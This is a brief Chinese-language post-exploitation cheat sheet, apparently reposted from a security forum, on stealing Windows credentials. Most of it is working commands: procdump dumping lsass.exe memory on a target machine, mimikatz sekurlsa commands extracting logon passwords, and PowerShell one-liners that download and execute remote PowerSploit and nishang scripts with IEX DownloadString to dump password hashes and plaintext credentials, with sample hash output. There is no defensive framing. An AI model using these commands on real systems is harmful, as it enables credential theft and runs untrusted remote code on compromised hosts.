powershell版的procdump
https://www.t00ls.net/articles-48428.html
procdump
procdump是微軟官方提供的一個小工具，
微軟官方下載地址：https://technet.microsoft.com/en-us/sysinternals/dd996900
將工具拷貝到目標機器上執行如下命令（需要管理員權限,我選擇的版本是64位）
Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
將這個內存dump文件拷貝到mimikatz同目錄下，雙擊打開mimikatz執行情況如圖：
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full
powershell Dump the hash
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
執行powershell版的Mimikatz獲取明文密碼
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
Powershell也可以完成像procdump一樣的工作，獲取某個進程的dumps。這里演示獲取lsass.exe的dumps，然后再用Mimikatz從dumps中獲取明文。
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
參考鏈接：利用Powershell 讀取hash https://www.secpulse.com/archives/6367.html